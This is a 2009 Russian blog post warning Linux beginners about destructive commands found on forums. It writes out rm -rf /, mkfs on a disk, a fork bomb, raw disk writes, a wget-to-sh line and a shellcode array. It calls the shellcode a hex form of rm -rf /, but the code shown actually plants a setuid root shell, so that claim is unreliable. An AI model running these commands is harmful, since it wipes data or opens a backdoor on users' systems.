четверг, 15 октября 2009 г.

Семь смертельных команд в Linux

Если вы новичек в linux, велики шансы, что Вы можете встретить какого-нибудь придурка на одном из форумов, который под благовидным предлогом посоветует использовать команды, исполнение которых может привести к удалению нужных файлов или даже операционной системы. Чтобы предотвратить такой печальный сценарий, в этой заметке собран список некоторых опасных команд, которых нужно избегать.



1. rm -rf /

Эта команда рекурсивно и без запроса подтверждения удаляет все файлы в корневой директории.

2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


Это шестнадцатеричная версия команды rm -rf /, которая может обмануть даже достаточно опытных пользователей Linux.

3. mkfs.ext3 /dev/sda

Эта команда переформатирует, то есть уничтожит все данные на устройстве (диске), который обозначен после команды mkfs.

4. :(){:|:&};:

Эта команда,
известная как "forkbomb", заставляет Вашу систему создавать гигантское количество процессов, пока она не зависнет. Часто приводит к потере данных.

5. любая_команда > /dev/sda

При выполнении такой команды на блочное устройство записываются "сырые" данные, что обычно приводит к полному краху файловой системы.

6.
wget http://что-то_из_небезопасного_источника -O- | sh

Никогда не загружайте и не запускайте ничего из небезопасных источников.

7. mv /home/yourhomedirectory/* /dev/null

Эта команда переместит все файлы из вашего домашнего каталога в место, которое не существует, в результате вы их больше не увидите.

Разумеется, имеется еще много опасных команд, кроме вышеперечисленных, поэтому, если Вы их знаете, можете расширить этот список в комментариях.

Комментариев нет:

Отправить комментарий